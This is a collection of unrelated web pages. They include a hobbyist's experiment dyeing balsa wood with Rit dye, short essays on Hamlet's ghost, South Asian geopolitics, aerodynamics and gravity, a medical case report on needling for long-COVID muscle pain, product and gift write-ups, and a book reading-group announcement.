Once again, I didn’t measure. I just dumped some water in and mixed. Not pictured: the spork I used for mixing.
This picture is pretty accurate color-wise. Pooled in the corner, the Rit dye has a very brown, dare I say, chocolate brown color. Washing down the side of the bowl, it looks more rust-colored.
Then I set the dye bowl in my utility sink next to the second, empty bowl.
I didn’t want to dry the wet wood strips directly in my sink. As you might be able to tell from the picture, it’s seen a bit of “love” over the years. I don’t want to add any more love. And, they’re dollar bowls. If I kill them, I don’t care!
Also, since this is an experiment, I didn’t see the need to heap them on newspapers, like you might for a shingle job. Frankly, after all was said and done, I’m glad I did this in the bowls. It might not work when it’s time for the big job. But, for this small job, it was perfect.
Using Rit Dye on Wood
I started with one full balsa wood stick. I don’t have a lot of extras, but I figure, for the sake of science, I can make some minor sacrifices.
Then I dunked the plain balsa wood stick in the dye bowl and kind of swished the stick around in the dye bath on both sides until the wood was saturated.
It looks really red in that picture, but in person, it’s browner and less red. Also, what you can’t see here is that the wood piece was dripping wet when I took it out of the bowl. I ended up wiping it off a bit with my fingers.
Then I put it in the “drying” bowl.
Then, of course, it was time to wait until that piece was dry. I let the dye bath sit out in the sink, which, as I understand, you’re not supposed to do, but whatever.
When piece one was kind of dry, I got impatient. You think I’d be used to all the waiting by now, but, nope! So, I dropped the other three sticks in, swished them around, then dropped them in the dry bowl.
Overall, I think the dye job looked pretty consistent. I didn’t see any uneven or blotchy spots. I did, however, find this:
It’s not the greatest picture (and it does look like a shadow), but that’s the unfinished end of the balsa wood stick. It took up the dye more than on the “finished” sides (meaning the wide, flat side). Interesting.
Then, as is always the case with this project, I let everything dry. Which meant taking off my gloves and finding this:
So much for protection, but what do you want from cheap gloves?
When the strips were dry, I checked them out, and this is what I was left with.
Interestingly, the ends weren’t as dark as I feared. That was pretty cool. But as you can see, there were some uneven spots. The question is, is that because of the wood, or my dye technique?
I’m hoping it’s the wood. When I do this for real, I’m going to use a deeper dye bath (deeper as in more water, not darker). That should mean I’m able to cover more wood easily and evenly. Guess we’ll find out. But, uneven staining isn’t the end of the world. It gives the wood “character.”
Then it was time for the real test. What will happen with the numbers?
As a quick review, I used pencil for the numbers. It’s easy to see on the undyed wood. And, my hope was that when I dyed the wood, I would still be able to see the numbers without them showing through too much. Yes, I plan on gluing the pieces number side down. But, knowing me, I’ll make a newbie mistake and glue them the wrong side up!
I sacrificed one more piece of balsa wood and numbered it.
Then, I dipped the numbered side of the wood into the dye and swished it around. I left the other side undyed (for a reason).
Skipping ahead to the “it dried” part, here’s what the backside of that piece (the numberless side) looked like.
And, here’s the front with the numbers.
As you can see, the dye is kind of uneven. And, you can’t see the numbers from a distance. That’s fine. I don’t mind. The problem was the close up (pic)
As you can see, there’s an uneven blotch. Fine. That could be the wood, that could be my technique.
But, here’s a close-up.
Yeah. Hard to see the numbers in real life, too.
Here’s an “ultra zoom” of the numbers:
The one thru six is easy to see. Seven on up… not so much. And, you guessed it, that’s where the blotch is. Sigh.
Another Rit Dye on Wood Experiment
And this is why I left the back of the numbered strip undyed (even if it did get some dye on it). Once I saw the depth of the brown (which I like, FYI), I figured I’d never be able to see the pencil. Turns out, I can see it, just not as much as I want.
So, I wondered what would happen if I used permanent marker on the wood, then dyed it.
Here’s the X to mark the spot.
And, here’s the X on the wood after I dyed it.
Yeah, about what I expected, and that’s not even dry.
Sigh. But, at least I can see it. And after everything dried, the permanent marker didn’t bleed through to the other side, so that’s something.
One More Thing
For fun, I wondered what the inside of the balsa woods strips looked like after taking a Rit dye bath. I got out ye old miter box and sawed away.
It reminds me of a Kit Kat. I didn’t eat it, though.
So, that’s kind of where I am. From what I can tell, yes, you can use Rit dye on wood. Cool. That will give me a project to work on this week (and the week after and the week after!). I just have to decide if I’m going to take my chances with the pencil or switch to permanent marker. Or maybe pen?
I’m leaning toward permanent marker. It doesn’t seem to bleed through, and it’s easy to see post dye job. I could stick with the pencil, but it feels like I’m taking a huge risk with that. And, with my eyesight, that could end in disaster!
Stuff to think about, and I’ve got plenty of time to think about it right now!
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Hamlet's father as a ghost
In William Shakespeare’s drama, “Hamlet”, the ghost embodies Hamlet's deceased and eponymous father, who ruled over Denmark as king before his death. He appears several times in the play, always dressed in the war armor (1.1.72) in which he won his greatest military victories. He appears in the uniform of a general, and is described as a "warlike form" (1.1.57) and as a "figure of terror in arms" (Act 1; Scene I). He is also completely pale and looks as if he is suffering greatly.
At the beginning of the plot, Hamlet's father is already no longer alive, so he only ever appears as a ghost. The statements of several characters, however, can provide insight into the character of the former king: Horatio calls him a brave warrior because he succeeded in defeating the old Norwegian king Fortinbras in a duel (1.1.95-99). Hamlet describes his father as an “excellent king” (1.2.141).
The ghost of Hamlet's father has already appeared to the two guards Marcellus and Bernardo on the castle terrace in Elsinore before the play begins. He "look[s] like the king" (1.1.52). In his first appearance, the ghost is silent. He only shows himself to the two guards and then disappears again. The two soldiers are so disturbed by the horror that they ask Hamlet's college friend Horatio to go and see the situation for himself.
Horatio and Hamlet's intervention
Horatio keeps watch for the third night with Marcellus and Bernardo to see the ghost with his own eyes. Indeed, the ghost reappears that night. Although the ghost makes Horatio "rigid with fear and wonder" (1.1.53), he tries to address it. But the ghost does not answer any of his questions and cannot be stopped even by force of arms, disappearing again at the first crowing of the cock (1.1.172).
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For the last 70 years India and Russia have remained friends supporting each other, signing lucrative military deals and deepening their bilateral relations on international diplomatic forums. But since 2016 their bilateral relations have not been on smooth keels.
It is pertinent to discuss here that it is the global relations because of which Russia is losing interests in its long term ally and inclined towards Pakistan. According to many observers Russia is very keen about foreign relations on long-term basis.
As Russia is well aware about China-Pakistan long term relations and never intended to hurt its partners, so after the West’s imposed sanctions after the Crimea’s annexation, Russia was seeking strategic partners and the reproached towards China.
Furthermore, India’s new generation is more attractive for US. According to a survey conducted by Pew Research Center, there are 70% Indians looking favorably US and 43% were looking Russia who was supporting India both militarily and diplomatically since last 70 years. According to same survey, there are 8% Indians look negatively US and 16% were negative towards Russia. so it can be said that Russia is losing its trust-worthiness in India despite of the fact that Russia is continue to be the key supplier of military weapons to India.
However, Putin is the master mind of long term plans in relations with other countries, eventually he moved towards the favorable relations with Pakistan. The equation of Russia’s relations with South Asian region reveals that where on one side Pakistan is India’s traditional rival and trust worthy friend of China, and the rapprochement of Russia towards China with the bonus factor of China’s opposition to US and its global views gives Pakistan more strategic importance.
Russia also supported Pakistan on the last BRIC’s Summit in Goa in the matter of India’s allegations of sponsored terrorism. Recent examples of Russia-Pakistan are 3 joint military drills since 2014; 2 naval drills (Arabian Monsoon 2014 and Arabian Monsoon 2015) and one is Druzbha 2016 and one is expected in 2017. Both Russia and Pakistan are reportedly holding negotiations on the purchase of Russian S-35 war- planes. Last year, Pakistan bought four Mi-35 helicopter gunships from Russia and in the 12 months, Pakistani army officials have visited Russia on a regular basis searching for new military deals.
As a result, Russian arms manufacturers are persistently increasing their reach to sell their military equipment. And Pakistan is the seventh importer of defense equipment.
Regarding these developments, India has serious concerns as India’s ambassador to Russia, Pankaj Saran, said, “Russia’s military cooperation with Pakistan which is a State that sponsors and practices terrorism as a matter of State policy is a wrong approach and it will only create further problems.”
Simultaneously India must be careful about such statements as India’s deliberations for the purchase of Russian S-400, stealth frigates and second nuclear submarine from the latter. On the other side, India does not want to lose Russia’s new military weapons as it is reportedly intended to pay a whopping $5 billion to get Russia’s revolutionary S-400 Triumf surface-to-air missile system which is one of the most advanced antimissile systems in the whole world. It is a true time to say that Pakistan is winning a lot having two allies Russia and China both simultaneously. However Russia and China are giving some prospects to Pakistan of becoming stronger nation. in the South Asia’s geostrategic fulcrum China’s is keen towards Russia’s joining in the recent significant development of China Pakistan Economic Corridor.
Li Xing has written that, “Russia’s participation in the CPEC, including the use of the Gwadar Port, could give a boost to Sino-Russian cooperation and be a demonstration project of One Belt and One Road (OBOR) that will enhance future multinational cooperation”.
According to some observers China’s eagerness for Russia’s joining in CPEC is merely to appease or calm India which is openly opposing CPEC claiming that it passes through their held or occupied territories. As CPEC is part of China’s vision for the next era of globalization and help its export and investment engines run for years in coming future. On international forum China has openly opposed India’s deliberations in getting participation in Nuclear Supplier Group. One could be optimistic that Russia could play a convincing role in smoothing India-Pakistan bilateral relations that would be the catalyst for the markets in the region.
In the recent developments Pakistan has approved a Russian interest for using the Gwadar Port, for its exports and on the other side media reports were swirling that Russia planned to merge the Moscow-led Eurasian Economic Union (EAEU) with the CPEC.
In nutshell, the contemporary international political scenario depicts that the whole realignment of global powers in South Asia is favorable for Pakistan if Pakistan would be well aware of its economic, military and fiscal policies in coming future to become the influential and integral part of the upcoming multi-polar new world order with all these developments otherwise it would be a catastrophe for Pakistan if it would be grasped in the major powers’ power politics.
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Let’s get back to basics, get those hands dirty and feel the love… consider it a little finger-facial. Made from organically and sustainably grown buckwheat, this flour is milled with meticulous care, without any treatments. Despite its name, buckwheat is actually the fruit of a plant related to rhubarb and sorrel. It’s rich flavour complements many recipes. It’s popular in many nations for its nutritional benefits – Eastern Europe for blinis, US for crepes and pancakes, Asia for Japanese soba noodles.
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Aerodynamics: How Airplanes Fly
Aerodynamics is a term that refers to the manner in which planes fly. This essay depicts scientific elements that reveal how flying has become a usual habit in lives of human beings. Flying is an aspect of balance that incorporates forces that are imposed on an object. Thrust, lift, drag and weight are four fundamental forces that make an object to fly.
In a flight, the balance of such forces reveals the manner in which an object appears while in motion. The purpose of the lift is to attract the plane on the upper side and weight makes it to move down. Based on Newton’s first law, he cites that the motion of the object is straight and moderate until when it meet others. Applying this law to airplanes, it is clear that they maintain their state of movement without disrupting the force balance. His second law further indicates that the mass of an object that goes through acceleration is subjected to force.
This implies that in an airplane, the lift is supposed to exceed weight that happens to be the force of gravity. Evaluating Bernoulli principle, it is clear that the rate at which liquids and gases flow is linked to pressure in a negative manner (Chabay & Sherwood 6). Air is necessary because when the plane is in a horizontal motion, air flows in an opposite way. In addition, the third law by Newton reveals that each force that is imposed on an object is relatively connected with magnitude force.
Evidently, these elements that apply to flights are vital to all planes. The engine creates thrusts that make the plane to move in a forward manner. This implies that the thrust should be equivalent or greater compared to a drag to enable the aircraft to fly.
Chabay, Ruth W, and Bruce A. Sherwood. Matter & Interactions: Vol. 1. Hoboken: Wiley, 2011. Print.
Cumpsty, Nicholas A. Jet Propulsion: A Simple Guide to the Aerodynamic and Thermodynamic Design and Performance of Jet Engines. Cambridge: Cambridge University Press, 2003. Print.
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This is one you will hear in physics classrooms and read in physics textbooks. It even seems to be familiar experience. The magnetic repulsion between the like poles of two small bar magnets easily overcomes their mutual gravitational attraction.
But the sun and Earth have magnetic fields too, and their mutual gravitational attraction easily overcomes their magnetic interaction. When Newton derived Kepler's laws of planetary motion he just needed his law of gravity and did not have to take into account the magnetic and electric fields of the sun and planets.
So it's not so obvious. Electromagnetism dominates at the atomic and subatomic levels. But on the planetary level it's the other way around.
The magnetic force results from electric currents that are moving electric charges. It is part of the same phenomenon as static electricity, referred to as electromagnetism. If you are in a reference frame in which a charge is at rest, you see electricity. If you are in a reference frame in which a charge is moving, you see magnetism.
The static electric force between two charged bodies is given by Coulomb's law, which says that the force between two point charges is proportional to the product of the charges and inversely proportional to the square of the distance between them.
The gravitational force between two particles is given by Newton's law of gravity, which says that the force between two point masses is proportional to the product of the masses and inversely proportional to the square of the distance between them.
The electric and gravitational force laws are both inverse square laws, so if one computes the ratio of the forces between two bodies, the distances cancel. For the electron and proton, the gravitational force is 39 orders of magnitude weaker than the electrical force. This is the source of the myth that gravity is a much weaker force than electromagnetism.
Why base our estimate of the relative strength of gravity and electromagnetism on these two particular particles? The proton is not even elementary but composed of quarks.
In fact, there is no universal way we can specify the absolute strength of the gravitational force. Newton's gravitational constant G is not dimensionless and so is not a good measure of the strength of gravity since it depends on what units you use.
The absolute strength of the electromagnetic force is specified by a dimensionless parameter alpha called, for historical reasons, the fine structure constant. It is actually not a constant but varies with energy. However that variation is very gradual and for most practical purposes alpha can be taken to have a value of 1/137.
Conventionally a dimensionless parameter alpha-G is defined to represent the gravitational force strength. It is proportional to the square of the proton mass and has a value 23 orders of magnitude less than alpha. So "officially," gravity is this much weaker than electromagnetism.
However, as we have already noted, the proton is not even a fundamental particle so it makes no sense to use it to define the strength of gravity. The only natural mass that can be formed from the basic constants of physics is the Planck mass, which is macroscopically large. It is about 22 micrograms, whereas a speck of dust is only about 1 microgram. If you define the dimensionless strength of gravity using the Planck mass you get exactly 1. In the case, gravity is 137 times stronger than electromagnetism.
Gravity is so weak at the atomic and subatomic level because the masses of atoms and subatomic particles are so small. It is strong on the planetary scale because the masses of planets are so large.
However, a good question is: Why are the masses of elementary particles so small compared to the Planck mass? This is a major puzzle called the hierarchy problem that physicists have still not solved. However, it is to be noted that, in the standard model, all elementary particle masses are intrinsically zero and their masses are small corrections resulting from the Higgs mechanism and other processes. The hierarchy problem can be recast to ask why the corrections are not on the order of the Planck mass.
The lack of an absolute strength of gravity does not mean that its strength relative to the other forces is not important. Changing the definition of the strength parameter does not change the ratio of the forces between two bodies in any specific situation. But, the point is, that ratio is not the same in all cases. In fact, it can be almost anything, depending on the masses and charges of the bodies being compared. In short, it makes no sense to even ask what is the relative strength of gravity and electromagnetism. | <urn:uuid:ba83c858-72db-4639-830e-923c7a650713> | CC-MAIN-2022-33 | https://www.huffpost.com/entry/myths-of-physics-2-gravit_b_5718233 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572833.78/warc/CC-MAIN-20220817001643-20220817031643-00272.warc.gz | en | 0.948544 | 943 | 3.625 | 4 |
Knowing what to get for a child with special needs can be somewhat difficult, especially if you’re buying a gift for a child that isn’t your own. While having some knowledge of the child’s needs can be helpful, it isn’t always a necessity, and there are a variety of gifts that are ideal for children with all types of special needs.
Below, you’ll find a few of the best gifts you can get for children with special needs.
The Rhino Toys Oball 3 ‘n 1 is a soft, squishy and bendable ball that has finger holes all over its surface, making it easy to grab, toss and play with. The Oball 3 ‘n 1 is specifically designed for children with motor skill impairments because its unique surface makes it easy to grab.
The Rhino Toys Oball 3 ‘n 1 is sold in sets of three in a single package.
Fisher-Price Brilliant Basics Stack & Roll Cups are a set of ten cups that come in a variety of different translucent colors that can be stacked in different orders. The set also comes with a jingling ball that can be put inside the cups to create a sensory experience for younger children.
The best part of the set for children with special needs is that they can serve a variety of purposes. Kids can enjoy stacking them, pretend to drink from them or use them to play with small toys (like the jingling ball that comes within the set or other small items, like marbles) as long as they’re supervised by adults.
This large, easy-to-see picture book is ideal for younger children because it has durable pages that really can’t be torn up – at least not quickly. The book also devotes a single page to a different image, which allows children to focus all of their attention on one item – something that’s particularly important for children with learning disabilities.
The book also provides a tactile experience. For example, the letter D, which uses a picture of a dog, incorporates faux fur similar to that of a dog.
The Plan Toy Solid Wood Drum is a relatively simple toy – not much different than one you could have found as far back as the 1950’s or 1960’s. Despite the toy’s simplicity, it’s a great way to share music with kids and the functions that go along with playing a drum.
The Plan Toy Solid Wood Drum can also be used to teach kids using the “stop-and-go” method, where either an adult or child plays the drum and stops/starts playing on command. This type of activity can be fun for many kids, and it can help them learn stop-and-go commands that are essential for tasks like crossing the street or playing outside in the yard or park.
While the gifts above will be fun and useful for most children, talking to the parents of a child with special needs when buying a gift is never a bad idea if you’re really looking for something special and beneficial.
To make your gift is really special and fun, make sure you package it in something that’s easy for young children to open like a decorative gift bag. Choose a bag that is both colorful and easy to open for the child.
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In The Letter that Led to a Lost Swedish Family History, the chance rescue of a 113-year-old letter opens the door to a long-ago love affair and the unveiling of a hidden past. (This article appears in the Fall 2015 edition of AMERICAN ANCESTORS, vol. 16, no. 4, pages 47-51. It is reproduced by permission of the New England Historic Genealogical Society. For more information about AMERICAN ANCESTORS magazine and the New England Historic Genealogical Society, please visit American Ancestors.org.)
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A previous version of this article stated that Northern saw-whet owls were the smallest owl species. The northern saw-whet is the smallest owl species in the D.C. region and one of the smallest in North America. This article has been corrected.
Northern saw-whet owls are the smallest owls in the D.C. region and are one of the smallest owl species in North America, according to Tom Blackburn, president of the Audubon Society of Northern Virginia.
In their tweet about the owl, Fairfax County officials said “in this area, the northern saw-whet is our smallest owl species which is rarely seen.”
Typically, the owls migrate through the area every spring and fall, experts said, to nesting grounds in forest areas in the northern parts of the United States and Canada.
In D.C., a snowy owl was spotted last weekend just north of the McMillan reservoir near MedStar Washington Hospital Center, according to the city’s biologist, Dan Rauch. Snowy owls don’t normally inhabit the D.C. area.
Rauch said the last time there was an “irruption” — a temporary influx of a species in an area where it doesn’t normally live — of snowy owls was in 2014, when at least four were reported in the Washington region. And in 2018, two snowy owls were seen on the National Mall at an Agriculture Department building.
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Avian and pandemic human influenza policy in South-East Asia: the interface between economic and public health imperatives
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- Published: Monday, 22 August 2011 13:28
Authors: Petcharat Pongcharoensuk,1 Wiku Adisasmito,2 Le Minh Sat,3 Pornpit Silkavute,4 Lilis Muchlisoh,2 Pham Cong Hoat3 and Richard Coker5 *
Institutions: Faculty of Pharmacy, Mahidol University, Bangkok, Thailand 2 Department of Health Policy & Administration, Faculty of Public Health, University of Indonesia, Depok, Indonesia 3 Department of Science and Technology in Economical and Technical Sector, Ministry of Science and Technology, Hanoi, Vietnam Health Systems Research Institute, Ministry of Public Health, Nonthaburi, Thailand and 5 Communicable Diseases Policy Research Group (CDPRG), London School of Hygiene and Tropical Medicine, at Mahidol University, Bangkok, Thailand
The aim of this study was to analyse the contemporary policies regarding avian and human pandemic influenza control in three South-East Asia countries: Thailand, Indonesia and Vietnam. An analysis of poultry vaccination policy was used to explore the broader policy of influenza A H5N1 control in the region. The policy of antiviral stockpiling with oseltamivir, a scarce regional resource, was used to explore human pandemic influenza preparedness policy. Several policy analysis theories were applied to analyse the debate on the use of vaccination for poultry and stockpiling of antiviral drugs in each country case study. We conducted a comparative analysis across emergent themes. The study found that whilst Indonesia and Vietnam introduced poultry vaccination programmes, Thailand rejected this policy approach. By contrast, all three countries adopted similar strategic policies for antiviral stockpiling in preparation. In relation to highly pathogenic avian influenza, economic imperatives are of critical importance. Whilst Thailand’s poultry industry is large and principally an export economy, Vietnam’s and Indonesia’s are for domestic consumption. The introduction of a poultry vaccination policy in Thailand would have threatened its potential to trade and had a major impact on its economy. Powerful domestic stakeholders in Vietnam and Indonesia, by contrast, were concerned less about international trade and more about maintaining a healthy domestic poultry population. Evidence on vaccination was drawn upon differently depending upon strategic economic positioning either to support or oppose the policy. With influenza A H5N1 endemic in some countries of the region, these policy differences raise questions around regional coherence of policies and the pursuit of an agreed overarching goal, be that eradication or mitigation. Moreover, whilst economic imperatives have been critically important in guiding policy formulation in the agriculture sector, questions arise regarding whether agriculture sectoral policy is coherent with public health sectoral policy across the region.
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NCERT Solutions For Class 10 Science Chapter 4 : Carbon And Its Compounds
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- Bonding in Carbon – The covalent bond
- Versatile nature of carbon
- Chemical properties of carbon compounds
- Some important carbon compounds – ethanol and ethanoic acid
- Soaps and detergents
Where can I access the NCERT Solutions of Science Chapter 4 for Class 10 online?
Answer: Class 10 is a crucial year in the lives of every student. Students' professional paths will be determined by their grades in class 10. The faculty at OSWAAL has produced solutions for all of the chapters based on the CBSE syllabus for this purpose. The solutions are designed with CBSE Term II exam preparation in mind for all students, regardless of intelligence level.
How can I learn Chapter 4 of Science in Class 10?
Answer: NCERT Solutions Class 10 Science Chapter 4 on OSWAAL'S might help you understand Class 10 Science Chapter 4 Carbon and Its Compound. You will get the finest chapter explanations, including details on all major subtopics. The simple language will assist you in comprehending the concepts. All of the exercises and in-text questions have been solved to ensure that you have a thorough knowledge of the chapter. | <urn:uuid:454c0701-a03c-49f6-aa97-346f8f527f44> | CC-MAIN-2022-33 | https://oswaalbooks.com/pages/ncert-solutions-for-class-10-science-chapter-4-carbon-and-its-compounds | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573699.52/warc/CC-MAIN-20220819131019-20220819161019-00272.warc.gz | en | 0.915835 | 946 | 4.09375 | 4 |
Abstract and Introduction
Introduction: Myofascial pain is a complex health condition that affects the majority of the general population. Myalgia has been recognized as a symptom of long COVID syndrome. The treatment for long COVID syndrome-related myalgia lacks research. Dry needling is a technique that involves the insertion of a needle into the tissue of, or overlaying, a pain point. Wet needling is the addition of an injection of an analgesic substance such as lidocaine while performing needling. Both dry and wet needling have are practiced as treatment modalities for myofascial pain. Limited literature exists to define long COVID syndrome-related myalgia and its relation to myofascial pain, or to examine the utility of needling techniques for this pain. We report a case of dry and wet needling as effective treatments for long COVID-related myofascial pain.
Case Presentation: A 59-year-old, previously healthy Hispanic male with no comorbid conditions was diagnosed with COVID-19 pneumonia. The patient suffered moderate disease without hypoxia and was never hospitalized. Three months later, the patient continued to suffer from symptoms such as exertional dyspnea, "brain fog," and myalgia. An extensive multisystem workup revealed normal cardiac, pulmonary, and end organ functions. The patient was then diagnosed with long COVID syndrome. The nature and chronicity of the patient's myalgia meet the criteria for myofascial pain. Both wet and dry needling were used to treat the patient's myofascial pain, with good short- and long-term therapeutic effects.
Conclusions: COVID-19 infection has been shown to exacerbate preexisting myofascial pain syndrome. Our case report indicates that long COVID syndrome-related myalgia is likely a form of new-onset myofascial pain. Additionally, both wet and dry needling can be utilized as an effective treatment modality for this pain syndrome, with short- and long-term benefits.
Myofascial pain (MP) is a complex health condition that affects many patients, and is thought to occur from muscle overuse, trauma, and psychological stress. The loci of the pain are termed "trigger points," which are tender spots in a taut muscle band. When pressure is applied to these trigger points, it produces a pain response. Although trigger points can be reliably detected on ultrasound as hypoechoic foci within the muscle,[3,4] the exact mechanism by which trigger points form remains debated.[1,5] While not interchangeable, fibromyalgia (FM) and MP syndrome have overlapping diagnostic criteria.
Post-acute COVID or long COVID syndrome (LCS) has become increasingly recognized as a prevalent disease and long-term sequela of COVID-19 survivors.[7–9] Common symptoms include fatigue, dyspnea, palpitations on minimal exertion, cognitive impairment or "brain fog," sleep disturbances, digestive issues, mood disorders, headache, and myalgia.[10,11] Myalgia has been commonly associated with LCS, either in the sense of new pain or exacerbation of preexisting pain.[12–15] Interestingly, myalgia following SARS-CoV-2 infection seems to be independent of the severity of the initial infection. In general, a multidisciplinary approach is recommended for the management of LCS.[9,10,16] However, effective management of this lingering myalgia remains to be explored.
Dry needling (DN) is an umbrella term to describe an array of different techniques that generally involve the insertion of a needle into the tissue of, or overlaying, a trigger point. It is a relatively new, but increasingly widely used technique to treat myofascial pain.[18–20] In some studies, DN is shown to reduce stiffness and tone, improve contractile properties of certain muscles, and decrease pressure pain perception.[21,22] The pain reduction effect of DN is apparent both immediately after treatment and at an interval of 4 weeks in multiple body regions.[23–25] Wet needling (WN), or trigger point injection, is the additional injection of an analgesic substance, such as lidocaine, while performing needling. Long- and short-term efficacy varies between the two techniques. However, acute pain relief tends to be greater with WN.[27–29]
Limited literature exists to define LCS-related myalgia and its relation to MP, though treatment options are urgently needed. Although DN and WN are both effective treatment modalities for MP, their utility for LCS-related myalgia have not been examined.
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Vacation season – Indian Summer – Soccer. The ideal time to fire up the BBQ. Why should you even try to grill steaks, bacon or vegetables on a glass plate at 400 °C? Because it tastes good, because nothing drops down – and because the glass plate is incredibly easy to clean. But first things first.
Glass for the BBQ
To be exact: Nextrema from SCHOTT. This is high-performance material for industrial use. It can withstand temperatures of up to 950° C, withstands thermal shocks, is resistant to acids, alkalis and corrosion, has a high permeability for thermal radiation and is very mechanically resilient. It has not been developed for barbecueing – but it is perfectly suited for it!
Bring the grill to normal temperature, i.e. until the thermostat shows anything between 350 and 400 °C. Next, position the glass plate with the grooved side down. Just like that. Without preheating. The safety goggles can stay in the basement; the protective gloves in the box. Although we will need them later.
First test: Bacon
“A BBQ to make a crispy bacon, forget it” is the old barbecue knowledge. But the glass plate does it without any problems. The bacon turns crispy-crunchy; the fat stays on the glass plate and does not simply run off (unless the BBQ is at an angle). And even if it drips and burns with a jet of flame: The glass plate protects the food. …and now a fried egg? No problem. The glass plate allows you to grill anything that will not hold on a grate. The glass remains inert – nothing bonds with the egg; it can be removed without leaving a mess. The excess bacon fat can be easily removed with a piece of paper towel.
… and the steaks?
First of all, turn the glass plate over – this works best with the protective gloves mentioned above. Then put on the steaks – and marvel. A glass plate can conjure up roasting aromas – no flame has to be applied to the meat.
Clean thing – all residues removed in no time After grilling, the glass plate looks like any grill plate on which intensive grilling has taken place. The ultimate tip: Before the glass plate has cooled down, roughly remove the remains with a scraper. Afterwards, it will be as good as new again in a few minutes with a normal sponge and lukewarm water. If you wish, you can also use the scrubbing side of the sponge – or a steel pad. And all this without leaving any lasting marks. This material is really tough.
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It is a challenge to keep your body in shape and prevent body flab. To stay fit, you cannot expect things to happen overnight. Having a practical strategy and regular routine is important. Normally, people who want to lose weight are only concerned about calorie intake. They try to reduce the intake of calories so that weight does not increase. Using the macronutrient approach works in a better manner. This is because you have a clear breakdown of what you should be eating. The three macro nutrients you need to focus on are carbs, fats and proteins. There are maximum consumption limits of each of these macronutrients for each individual. These limits depend on what the goal of an individual is. Someone who is aiming at reducing 20 kilos have specific macronutrient figures. These figures would be different for someone who is only aiming at maintaining the weight. When you are using calculators.tech calculator to determine macronutrient ratio, you would have to enter your specific details including the weight loss target you have. In an overall manner, macronutrient figures vary from one person to the other.
What are the different macronutrient components?
There are three macronutrient categories. All of them are explained below.
In terms of purpose, carbohydrates are responsible for the provision of energy to the human body. They comprise of starch and sugar. The human brain requires energy supply at all times. This energy is provided to the human brain through carbohydrates. This macro nutrient is found in various forms including potatoes, corn and sweet potatoes. Along with that, they are also found in apples, bananas and pears. Carbohydrates are consumed according to the energy requirements that each human has. This does vary from person to person.
The core function of Fats is development of brain functions. Like carbohydrates, fats are found in various edible options as well. These include almonds, pistachios, fish and grass fed butter. Fats are important to execute core brain functions in a smooth manner. As compared to other macro nutrients, Fats have the highest count for calorie per gram. Thus, the highest time span is required to burn it. These macronutrients help in preventing exhaustion and keeping an individual energetic for a longer span of time.
Proteins are used to build the muscle structure in the human body. They are responsible for strengthening the body. Fish is one of the strongest sources of proteins. People who each fish have more muscular strength. Other sources of proteins include egg, cheese, yogurt, beef and pork. Proteins are important for improving the physical mobility of an individual. Professional body builders and fitness experts are always on a high protein diet so that they can retain the finest physical fitness.
The use of an online calculator to calculate macronutrient ratio
If you are serious about losing weight and staying in shape, nothing should be based on assumptions. You should have an exact figure of each macronutrient. Along with that, weight reduction is not the same for each individual. The percentage of each macronutrient varies from one person to the other. Here are the steps which you need to execute for calculating the macronutrient ratio.
- Steps of inputs
Three steps of inputs are involved in calculating the macronutrient ratio. For the correct generation of outputs, entering these inputs properly is essential. Let us have a look at each of these steps.
- In the first step, you need to start by selecting your gender and entering your age. These parameters are important for correct calculation. After that, you need to set your goal. Some of the options in this category include muscle gain, fat loss and maintain. Based on your requirements, you can select one option in this category. The last input of this step is body fat input which is an optional requirement.
- The second step of inputs comprises of height and weight details. The height has to be entered. Height and weight define the physical structure of a particular body. Entering the correct values of these parameters is very important for accurate outputs.
- The third step of entering inputs is the final step. In this step, users have to select few key parameters. One of them is the number of meals that you have every day. Some of the options include 3,4 and 5. Most people have 3 meals on daily basis while some of them even have 4 and 5. The next selection is of the sedentary level. This basically highlights the physical activity level that the individual has. For instance, most people who are not related to physical fitness have light physical activity. Similarly, people also have moderate and high physical activity.
- Generating and understanding outputs
Once you are done with the inputs, you can focus on understanding the outputs generated by the online macronutrient calculator.
- The first output would be the calories which have to be burnt at the end of each day. This would be according to the input details entered by the user.
- The other three outputs are the core macronutrients. You would get the percentage of fats, carbs and proteins which can be consumed each day. These values would be according to the inputs that have been entered by the user.
The use of an online macronutrient calculator is a productive way to lose weight. Simply keeping a track of the calorie count manually is not the best way to deal with things. The use of an online calculator is actually the best way out. To start with, it gives you a clear break down of all three macro nutrients. This helps you in selecting the meals you can have on daily basis in accordance with the set targets.
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My company is piloting serious gaming in the learning domain using an immersive 3D environment based on the Unreal engine. We are on the cusp of developing a game around hazard recognition scenarios that are based on real life experiences. Because of this I am reading up on serious gaming and game design in general. After finishing the brilliant The Art of Game Design by Jesse Schell (more about that book in a later post), I now want to tackle Learning in 3D, Adding a New Dimension to Enterprise Learning and Collaboration by Kapp and O’Driscoll.
I have decided to start a reading group which will read the ten chapters of the book in ten weeks (there is a preview of the chapters here). We will use blogs, Twitter, Delicious and a weekly teleconference to communicate around the book.
So how will this work?
The book provides principles for architecting 3D learning experiences (including a maturity model for immersive technologies) and has lessons on and examples of implementations in enterprise situations. The goal of the reading group is to actively internalise these lessons and see how they can be applied in our own organisation(s).
As I want this reading group to impact the learning function in my own organisation I intend for about 50% of the participants to work for Shell and for the rest to come from my network outside of Shell. The minimum number of participants is 5 (doing two chapters each) and the maximum is 40 (four people per chapter and incidentally the limit of our teleconferencing solution). Everybody will have to acquire their own copy of the book. (I used the Book Depository to buy this book, as they have free shipping, note that I will earn a small referral fee if you click this link and then buy the book).
The reading group will have a weekly rhythm with a particular chapter of the book as the focus of attention. The following activities will happen every week:
- One or more people will be assigned to write a summary of the chapter on their blog (if they don’t have a blog, they email me the summary and I will publish it on this blog). The summary ends with at least one multiple choice poll and a discussion question/proposition, both used as input for the teleconference.
- All reading group participants will be tweeting questions and comments about the book (using a designated hashtag, see below).
- Each participant will try to add at least one interesting link to Delicious (again with a hashtag) that relates to the chapter of that week.
- At the end of the week (actually on a Monday), there is a teleconference where the summarisers for that week lead a discussion about the chapter, using the poll and the discussion question/proposition as input.
Hashtag and aggregation
All Delicious URLs, blogposts and Tweets should be tagged with the #Lin3DRG hash tag (stands for: Learning in 3D Reading Group). This will allow me to try some smart ways of aggregating and displaying the data using things like Yahoo Pipes or Downes’ gRSShopper. I promise to write another post on my aggregation strategies.
When and where?
It is going to be a virtual affair, co-creating on the web. We will start reading on April 19th, will have our first weekly 30 minute teleconference on Monday April 26th at 15:30 Amsterdam time and will close out on June 28th (so we will have 10 telcons on ten consecutive Mondays at the same time, it is not a problem if you miss one, we will record them).
